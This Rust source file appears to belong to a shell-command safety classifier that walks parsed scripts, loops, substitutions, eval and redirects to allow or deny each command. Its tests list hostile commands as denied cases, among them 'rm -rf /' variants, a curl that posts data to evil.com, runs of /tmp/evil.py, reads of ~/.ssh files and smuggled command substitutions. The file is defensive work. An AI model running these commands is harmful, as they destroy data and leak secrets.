1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7 static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14 static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17const MAX_CLASSIFY_WORK: u32 = 512;
23
24struct ClassifyGuard;
28
29impl ClassifyGuard {
30 fn enter() -> Option<Self> {
31 if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32 CLASSIFY_WORK.with(|w| w.set(0));
33 }
34 let spent = CLASSIFY_WORK.with(|w| {
35 let n = w.get().saturating_add(1);
36 w.set(n);
37 n
38 });
39 if spent > MAX_CLASSIFY_WORK {
40 return None;
41 }
42 CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43 Some(ClassifyGuard)
44 }
45}
46
47impl Drop for ClassifyGuard {
48 fn drop(&mut self) {
49 CLASSIFY_DEPTH.with(|d| d.set(d.get().saturating_sub(1)));
50 }
51}
52
53pub(crate) fn charge_classify_work(units: u32) -> bool {
63 CLASSIFY_WORK.with(|w| {
64 let n = w.get().saturating_add(units);
65 w.set(n);
66 n <= MAX_CLASSIFY_WORK
67 })
68}
69
70pub fn command_verdict(input: &str) -> Verdict {
71 let Some(_guard) = ClassifyGuard::enter() else {
72 return Verdict::Denied; };
74 let Some(script) = parse(input) else {
75 return Verdict::Denied;
76 };
77 script_verdict(&script)
78}
79
80pub fn is_safe_command(input: &str) -> bool {
81 command_verdict(input).is_allowed()
82}
83
84thread_local! {
85 static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
89 const { std::cell::RefCell::new(Vec::new()) };
90 static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
93}
94
95const MAX_FUNC_DEPTH: usize = 32;
96
97const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
101
102struct FuncScope;
103impl Drop for FuncScope {
104 fn drop(&mut self) {
105 FUNCTIONS.with(|f| {
106 f.borrow_mut().pop();
107 });
108 }
109}
110
111fn define_function(name: String, body: Script) -> FuncScope {
112 FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
113 FuncScope
114}
115
116fn lookup_function(name: &str) -> Option<Script> {
117 FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
118}
119
120struct ResolveScope;
121impl Drop for ResolveScope {
122 fn drop(&mut self) {
123 RESOLVING.with(|r| {
124 r.borrow_mut().pop();
125 });
126 }
127}
128
129fn begin_resolving(name: &str) -> Option<ResolveScope> {
135 let over_budget = CLASSIFY_WORK.with(|w| {
136 let n = w.get().saturating_add(1);
137 w.set(n);
138 n > MAX_CLASSIFY_WORK
139 });
140 if over_budget {
141 return None;
142 }
143 RESOLVING.with(|r| {
144 let mut stack = r.borrow_mut();
145 if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
146 None
147 } else {
148 stack.push(name.to_string());
149 Some(ResolveScope)
150 }
151 })
152}
153
154fn script_verdict(script: &Script) -> Verdict {
155 walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
156 .into_iter()
157 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
158}
159
160pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
172 let mut running = crate::pathctx::cwd();
173 let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
174 let mut _funcs: Vec<FuncScope> = Vec::new();
175 let mut out = Vec::with_capacity(script.0.len());
176 for stmt in &script.0 {
177 out.push({
178 let _cwd = crate::pathctx::enter_cwd(running.clone());
179 per_stmt(stmt)
180 });
181 let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
182 if next.is_some() {
183 running = next;
184 }
185 for (name, value) in statement_assignments(&stmt.pipeline) {
186 _vars.push(crate::pathctx::enter_var(name, value));
187 }
188 if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
189 _funcs.push(define_function(name.clone(), body.clone()));
190 }
191 }
192 out
193}
194
195fn cd_target(pipeline: &Pipeline) -> Option<String> {
198 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
199 return None;
200 };
201 if s.words.first()?.eval() != "cd" {
202 return None;
203 }
204 s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
205}
206
207fn read_loop_vars(cond: &Script) -> Vec<String> {
212 let [stmt] = cond.0.as_slice() else {
213 return Vec::new();
214 };
215 let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
216 return Vec::new();
217 };
218 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
219 if words.first().map(String::as_str) != Some("read") {
220 return Vec::new();
221 }
222 words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
223}
224
225fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
230 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
231 return Vec::new();
232 };
233 if !s.words.is_empty() {
234 return Vec::new();
235 }
236 s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
237}
238
239fn certain_value(word: &Word) -> String {
243 let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
244 if raw.contains('$') || raw.contains("__SAFE_CHAINS_") {
245 UNCERTAIN_VALUE.to_string()
246 } else {
247 raw
248 }
249}
250
251#[cfg(test)]
252pub(crate) fn is_safe_script(script: &Script) -> bool {
253 script_verdict(script).is_allowed()
254}
255
256pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
257 let mut acc = Verdict::Allowed(SafetyLevel::Inert);
258 let mut stream: Option<String> = None;
264 for cmd in &pipeline.commands {
265 let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
266 acc = acc.combine(cmd_verdict(cmd));
267 stream = Some(stage_output_repr(cmd, stream.as_deref()));
268 }
269 acc
270}
271
272const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
277
278fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
283 let Cmd::Simple(s) = cmd else {
284 return UNKNOWN_ITEM.to_string();
285 };
286 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
287 let Some(first) = words.first() else {
288 return UNKNOWN_ITEM.to_string();
289 };
290 let name = Token::from_raw(first.clone()).command_name().to_string();
291 let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
292 let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
293 match name.as_str() {
294 "find" | "fd" | "fdfind" => {
296 let roots = find_roots(&args);
297 let base = roots.iter().find(|r| !source_ok(r)).copied().unwrap_or(".");
298 format!("{}/sc_item", base.trim_end_matches('/'))
299 }
300 "ls" => {
302 if args.contains(&"-d") {
303 worst_arg_repr(&args)
304 } else {
305 "sc_item".to_string()
306 }
307 }
308 "echo" | "printf" => worst_arg_repr(&args),
310 "git" => match args.first() {
312 Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
313 _ => UNKNOWN_ITEM.to_string(),
314 },
315 "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
320 "head" | "tail"
321 if !reads_a_file_after_count(&args)
322 && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
323 {
324 through()
325 }
326 "tee" => through(),
328 _ => UNKNOWN_ITEM.to_string(),
329 }
330}
331
332fn reads_a_file(args: &[&str]) -> bool {
338 args.iter().any(|a| {
339 (!a.starts_with('-') && *a != "-")
340 || *a == "--files0-from"
341 || a.starts_with("--files0-from=")
342 })
343}
344
345fn reads_a_file_after_count(args: &[&str]) -> bool {
348 let mut i = 0;
349 while i < args.len() {
350 let a = args[i];
351 if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
352 i += 2; continue;
354 }
355 if a.starts_with('-') || a == "-" {
356 i += 1;
357 continue;
358 }
359 return true; }
361 false
362}
363
364fn source_ok(path: &str) -> bool {
367 crate::engine::resolve::read_content_verdict(path).is_allowed()
368}
369
370fn worst_arg_repr(args: &[&str]) -> String {
373 args.iter()
374 .filter(|a| !a.starts_with('-'))
375 .find(|a| !source_ok(a))
376 .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
377}
378
379fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
382 let mut i = 0;
383 while i < args.len() {
384 match args[i] {
385 "-H" | "-L" | "-P" => i += 1,
386 "-D" | "-O" => i += 2,
387 _ => break,
388 }
389 }
390 let mut roots = Vec::new();
391 while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
392 roots.push(args[i]);
393 i += 1;
394 }
395 if roots.is_empty() {
396 roots.push(".");
397 }
398 roots
399}
400
401pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
402 pipeline_verdict(pipeline).is_allowed()
403}
404
405pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
406 match cmd {
407 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
408 _ => true,
409 }
410}
411
412fn has_any_substitution(cmd: &SimpleCmd) -> bool {
413 cmd.words.iter().any(has_substitution)
414 || cmd.env.iter().any(|(_, v)| has_substitution(v))
415}
416
417pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
448 let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
449 for (name, value) in &cmd.env {
450 let value = value.eval();
451 if value.chars().any(char::is_whitespace) {
452 return None;
453 }
454 parts.push(format!("{name}={value}"));
455 }
456 parts.extend(cmd.words.iter().map(|w| w.eval()));
457 Some(parts.join(" "))
458}
459
460pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
461 match cmd {
462 Cmd::Simple(s) => simple_verdict(s),
463 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
464 let body_v = script_verdict(body);
465 if let Verdict::Denied = body_v {
466 return Verdict::Denied;
467 }
468 let redir_v = redirect_verdict(redirs);
469 if let Verdict::Denied = redir_v {
470 return Verdict::Denied;
471 }
472 body_v.combine(redir_v)
473 }
474 Cmd::For { var, items, body, redirs } => {
475 let redir_v = redirect_verdict(redirs);
476 if let Verdict::Denied = redir_v {
477 return Verdict::Denied;
478 }
479 let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
483 let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
484 Some((read_repr, write_repr)) => {
485 let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
486 script_verdict(body)
487 }
488 None => script_verdict(body),
489 };
490 words_sub_verdict(items).combine(body_v).combine(redir_v)
491 }
492 Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
493 let redir_v = redirect_verdict(redirs);
494 if let Verdict::Denied = redir_v {
495 return Verdict::Denied;
496 }
497 let cond_v = script_verdict(cond);
498 let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
503 Some(repr) => read_loop_vars(cond)
504 .into_iter()
505 .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
506 .collect(),
507 None => Vec::new(),
508 };
509 cond_v.combine(script_verdict(body)).combine(redir_v)
510 }
511 Cmd::If {
512 branches,
513 else_body,
514 redirs,
515 } => {
516 let redir_v = redirect_verdict(redirs);
517 if let Verdict::Denied = redir_v {
518 return Verdict::Denied;
519 }
520 let mut v = redir_v;
521 for b in branches {
522 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
523 }
524 if let Some(eb) = else_body {
525 v = v.combine(script_verdict(eb));
526 }
527 v
528 }
529 Cmd::DoubleBracket { words, redirs } => {
530 words_sub_verdict(words).combine(redirect_verdict(redirs))
531 }
532 Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
536 }
537}
538
539pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
540 cmd_verdict(cmd).is_allowed()
541}
542
543fn part_sub_verdict(part: &WordPart) -> Verdict {
544 match part {
545 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
546 WordPart::Backtick(raw) => command_verdict(raw),
547 WordPart::DQuote(inner) => word_sub_verdict(inner),
548 _ => Verdict::Allowed(SafetyLevel::Inert),
549 }
550}
551
552fn word_sub_verdict(word: &Word) -> Verdict {
553 word.0.iter()
554 .map(part_sub_verdict)
555 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
556}
557
558fn words_sub_verdict(words: &[Word]) -> Verdict {
559 words.iter()
560 .map(word_sub_verdict)
561 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
562}
563
564#[cfg(test)]
565pub(crate) fn word_subs_safe(word: &Word) -> bool {
566 word_sub_verdict(word).is_allowed()
567}
568
569fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
570 let redir_v = redirect_verdict(&cmd.redirs);
571 if let Verdict::Denied = redir_v {
572 return Verdict::Denied;
573 }
574
575 let env_sub_v = cmd.env.iter()
576 .map(|(_, v)| word_sub_verdict(v))
577 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
578 let word_sub_v = words_sub_verdict(&cmd.words);
579 let sub_v = env_sub_v.combine(word_sub_v);
580
581 if let Verdict::Denied = sub_v {
582 return Verdict::Denied;
583 }
584
585 if cmd.words.is_empty() {
586 if cmd.env.is_empty() {
587 return Verdict::Allowed(SafetyLevel::Inert);
588 }
589 return sub_v.combine(redir_v);
590 }
591
592 let name = cmd.words[0].eval();
593
594 if let Some(body) = lookup_function(&name) {
602 let Some(_resolving) = begin_resolving(&name) else {
603 return Verdict::Denied;
604 };
605 let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
606 .iter()
607 .enumerate()
608 .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
609 .collect();
610 return sub_v.combine(script_verdict(&body)).combine(redir_v);
611 }
612
613 if name == "eval" {
614 return eval_verdict(cmd).combine(sub_v).combine(redir_v);
615 }
616
617 let tokens: Vec<Token> =
620 cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
621 if tokens.is_empty() {
622 return Verdict::Allowed(SafetyLevel::Inert);
623 }
624
625 let cmd_v = leaf_verdict(&tokens);
626 sub_v.combine(cmd_v).combine(redir_v)
627}
628
629fn leaf_verdict(tokens: &[Token]) -> Verdict {
633 let legacy = handlers::dispatch(tokens);
634 crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
635}
636
637fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
638 if cmd.words.len() < 2 {
639 return Verdict::Denied;
640 }
641 for arg in &cmd.words[1..] {
642 if !arg_is_eval_safe(arg) {
643 return Verdict::Denied;
644 }
645 }
646 Verdict::Allowed(SafetyLevel::Inert)
647}
648
649fn arg_is_eval_safe(word: &Word) -> bool {
650 let mut found_safe = false;
651 for part in &word.0 {
652 match part {
653 WordPart::Lit(s) | WordPart::SQuote(s) => {
654 if !s.chars().all(char::is_whitespace) {
655 return false;
656 }
657 }
658 WordPart::Escape(c) => {
659 if !c.is_whitespace() {
660 return false;
661 }
662 }
663 WordPart::CmdSub(script) => {
664 if !script_yields_eval_safe(script) {
665 return false;
666 }
667 found_safe = true;
668 }
669 WordPart::Backtick(raw) => {
670 let Some(script) = parse(raw) else {
671 return false;
672 };
673 if !script_yields_eval_safe(&script) {
674 return false;
675 }
676 found_safe = true;
677 }
678 WordPart::DQuote(inner) => {
679 if !arg_is_eval_safe(inner) {
680 return false;
681 }
682 if has_substitution(inner) {
683 found_safe = true;
684 }
685 }
686 WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
687 }
688 }
689 found_safe
690}
691
692fn script_yields_eval_safe(script: &Script) -> bool {
693 if script.0.len() != 1 {
694 return false;
695 }
696 let stmt = &script.0[0];
697 if !matches!(stmt.op, None | Some(ListOp::Semi)) {
698 return false;
699 }
700 let pipeline = &stmt.pipeline;
701 if pipeline.bang || pipeline.commands.len() != 1 {
702 return false;
703 }
704 let Cmd::Simple(s) = &pipeline.commands[0] else {
705 return false;
706 };
707 if !s.env.is_empty() {
708 return false;
709 }
710 if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
716 return false;
717 }
718 for w in &s.words {
719 if !word_is_plain_literal(w) {
720 return false;
721 }
722 }
723 let tokens: Vec<Token> =
724 s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
725 if tokens.is_empty() {
726 return false;
727 }
728 crate::registry::is_eval_safe_invocation(&tokens)
729}
730
731fn word_is_plain_literal(word: &Word) -> bool {
744 word.0.iter().all(part_is_plain_literal)
745}
746
747fn part_is_plain_literal(part: &WordPart) -> bool {
748 match part {
749 WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
750 WordPart::Escape(c) => is_bare_literal_char(*c),
751 WordPart::DQuote(inner) => word_is_plain_literal(inner),
752 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
753 }
754}
755
756fn is_bare_literal_char(c: char) -> bool {
762 c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
763}
764
765pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
766 redirs.iter().all(|r| match r {
767 Redir::Write { target, .. } => target.eval() == "/dev/null",
768 Redir::Read { .. }
769 | Redir::HereStr(_)
770 | Redir::HereDoc { .. }
771 | Redir::DupFd { .. } => true,
772 })
773}
774
775fn is_safe_write_target(path: &str) -> bool {
782 crate::engine::resolve::write_target_verdict(path).is_allowed()
783}
784
785pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
786 let mut level = Verdict::Allowed(SafetyLevel::Inert);
787 for r in redirs {
788 match r {
789 Redir::Write { target, .. } => {
790 level = level.combine(word_sub_verdict(target));
791 let t = target.eval();
792 if t == "/dev/null" {
793 } else if is_safe_write_target(&t) {
795 level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
796 } else {
797 level = level.combine(Verdict::Denied);
798 }
799 }
800 Redir::Read { target, .. } => {
801 level = level.combine(word_sub_verdict(target));
802 if has_substitution(target) {
806 level = level.combine(Verdict::Denied);
807 } else {
808 level = level.combine(crate::engine::resolve::read_content_verdict(&target.eval()));
809 }
810 }
811 Redir::HereStr(word) => {
812 level = level.combine(word_sub_verdict(word));
813 }
814 Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
815 }
816 }
817 level
818}
819
820fn has_substitution(word: &Word) -> bool {
821 word.0.iter().any(|p| match p {
822 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
823 WordPart::DQuote(inner) => has_substitution(inner),
824 _ => false,
825 })
826}
827
828#[cfg(test)]
829mod tests {
830 use super::*;
831
832 fn check(cmd: &str) -> bool {
833 is_safe_command(cmd)
834 }
835
836 #[test]
837 fn loop_variable_inherits_the_list_locus() {
838 for cmd in [
841 "for f in *.txt; do cat $f; done",
842 "for f in *.txt; do rm $f; done",
843 "for f in src/*.rs; do grep foo $f; done",
844 "for f in *.log; do sed -i s/a/b/ $f; done",
845 "for f in a b c; do cat $f.bak; done",
846 "for x in 1 2 3; do rm $x; done",
847 "for d in a b; do for f in $d/x; do cat $f; done; done", ] {
849 assert!(check(cmd), "worktree loop should allow: {cmd}");
850 }
851 for cmd in [
853 "for f in /etc/*; do cat $f; done",
854 "for f in /etc/*.conf; do rm $f; done",
855 "for f in ~/.ssh/*; do cat $f; done",
856 "for f in $LIST; do rm $f; done",
857 "for f in $(find / -name x); do rm -rf $f; done",
858 "for d in /etc; do for f in $d/x; do cat $f; done; done",
859 "for f in /etc/hosts ~/notes; do cat $f; done",
862 ] {
863 assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
864 }
865 }
866
867 safe! {
868 grep_foo: "grep foo file.txt",
869 jq_key: "jq '.key' file.json",
870 base64_d: "base64 -d",
871 ls_la: "ls -la",
872 wc_l: "wc -l file.txt",
873 ps_aux: "ps aux",
874 echo_hello: "echo hello",
875 cat_file: "cat file.txt",
876
877 version_go: "go --version",
878 version_cargo: "cargo --version",
879 version_cargo_redirect: "cargo --version 2>&1",
880 help_cargo: "cargo --help",
881 help_cargo_build: "cargo build --help",
882
883 dev_null_echo: "echo hello > /dev/null",
884 dev_null_stderr: "echo hello 2> /dev/null",
885 dev_null_append: "echo hello >> /dev/null",
886 dev_null_git_log: "git log > /dev/null 2>&1",
887 fd_redirect_ls: "ls 2>&1",
888 stdin_dev_null: "git log < /dev/null",
889
890 env_prefix: "FOO='bar baz' ls -la",
891 env_prefix_dq: "FOO=\"bar baz\" ls -la",
892 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
893
894 subst_echo_ls: "echo $(ls)",
895 subst_ls_pwd: "ls `pwd`",
896 subst_nested: "echo $(echo $(ls))",
897 subst_quoted: "echo \"$(ls)\"",
898 assign_subst_ls: "out=$(ls)",
899 assign_subst_git: "out=$(git status)",
900 assign_subst_multiple: "a=$(ls) b=$(pwd)",
901 assign_subst_backtick: "out=`ls`",
902
903 assign_bare_lit: "foo=bar",
904 assign_bare_int: "x=1",
905 assign_bare_empty: "x=",
906 assign_bare_dq: "x=\"foo bar\"",
907 assign_bare_sq: "x='foo bar'",
908 assign_bare_param: "rc=$?",
909 assign_bare_var: "x=$y",
910 assign_bare_dollar_var_braced: "x=${y}",
911 assign_bare_path: "PATH=/foo",
912 assign_bare_multiple: "a=1 b=2 c=3",
913 assign_bare_arith: "x=$((1 + 2))",
914 assign_in_for_body: "for i in 1 2; do x=1; done",
915 assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
916 assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
917 assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
918 assign_then_use: "x=1; echo $x",
919 assign_chained_with_safe: "x=1 && ls",
920 assign_subshell: "(x=1)",
921 assign_in_subshell_with_cmd: "(x=1; ls)",
922
923 subshell_echo: "(echo hello)",
924 subshell_ls: "(ls)",
925 subshell_chain: "(ls && echo done)",
926 subshell_pipe: "(ls | grep foo)",
927 subshell_nested: "((echo hello))",
928 subshell_for: "(for x in 1 2; do echo $x; done)",
929
930 pipe_grep_head: "grep foo file.txt | head -5",
931 pipe_cat_sort_uniq: "cat file | sort | uniq",
932 chain_ls_echo: "ls && echo done",
933 semicolon_ls_echo: "ls; echo done",
934 bg_ls_echo: "ls & echo done",
935 newline_echo_echo: "echo foo\necho bar",
936
937 stdin_read_from_path: "wc -l < /tmp/foo.log",
938 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
939 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
940
941 here_string_grep: "grep -c , <<< 'hello,world,test'",
942 heredoc_cat: "cat <<EOF\nhello world\nEOF",
943 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
944 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
945 heredoc_no_content: "cat <<EOF",
946 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
947
948 for_echo: "for x in 1 2 3; do echo $x; done",
949 for_empty_body: "for x in 1 2 3; do; done",
950 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
951 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
952 while_test: "while test -f /tmp/foo; do sleep 1; done",
953 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
954 until_test: "until test -f /tmp/ready; do sleep 1; done",
955 if_then_fi: "if test -f foo; then echo exists; fi",
956 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
957 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
958 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
959 bare_negation: "! echo hello",
960 keyword_as_data: "echo for; echo done; echo if; echo fi",
961
962 quoted_redirect: "echo 'greater > than' test",
963 quoted_subst: "echo '$(safe)' arg",
964
965 redirect_to_file: "echo hello > file.txt",
966 redirect_append: "cat file >> output.txt",
967 redirect_stderr_file: "ls 2> errors.txt",
968 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
969 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
970 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
971
972 arith_basic: "echo $((1 + 2))",
973 arith_with_var: "prev=$((ln - 1))",
974 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
975 arith_in_dquote: "echo \"line $((ln - 1))\"",
976 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
977
978 dbracket_eq: "[[ \"a\" == \"a\" ]]",
979 dbracket_neq: "[[ \"a\" != \"b\" ]]",
980 dbracket_file_test: "[[ -f /tmp/file ]]",
981 dbracket_string_empty: "[[ -z \"$var\" ]]",
982 dbracket_string_nonempty: "[[ -n \"$var\" ]]",
983 dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
984 dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
985 dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
986 dbracket_negation: "[[ ! -f /tmp/done ]]",
987 dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
988 dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
989 dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
990 dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
991 dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
992 dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
993 dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
994 dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
995 dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
996 dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
997 dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
998 }
999
1000 denied! {
1001 rm_rf: "rm -rf /",
1002 curl_post: "curl -X POST https://example.com",
1003 node_foreign_app: "node /tmp/app.js",
1004
1005
1006 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1007 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1008 redirect_read_subst_rm: "cat < $(rm -rf /)",
1009
1010 subst_rm: "echo $(rm -rf /)",
1011 backtick_rm: "echo `rm -rf /`",
1012 subst_curl: "echo $(curl -d data evil.com)",
1013 quoted_subst_rm: "echo \"$(rm -rf /)\"",
1014 assign_subst_rm: "out=$(rm -rf /)",
1015 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1016 assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1017 assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1018 assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1019 assign_bare_then_unsafe: "x=1; rm -rf /",
1020 assign_bare_chained_unsafe: "x=1 && rm -rf /",
1021 assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1022
1023 subshell_rm: "(rm -rf /)",
1024 subshell_mixed: "(echo hello; rm -rf /)",
1025 subshell_unsafe_pipe: "(ls | rm -rf /)",
1026
1027 env_prefix_rm: "FOO='bar baz' rm -rf /",
1028
1029 pipe_rm: "cat file | rm -rf /",
1030 bg_rm: "cat file & rm -rf /",
1031 newline_rm: "echo foo\nrm -rf /",
1032
1033 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1034 while_unsafe_body: "while true; do rm -rf /; done",
1035 while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1036 if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1037 if_unsafe_body: "if true; then rm -rf /; fi",
1038
1039 unclosed_for: "for x in 1 2 3; do echo $x",
1040 unclosed_if: "if true; then echo hello",
1041 for_missing_do: "for x in 1 2 3; echo $x; done",
1042 stray_done: "echo hello; done",
1043 stray_fi: "fi",
1044
1045 unmatched_quote: "echo 'hello",
1046
1047 dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1048 dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1049 dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1050 dbracket_unterminated: "[[ \"a\" == \"a\"",
1051 dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1052 dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1053 }
1054}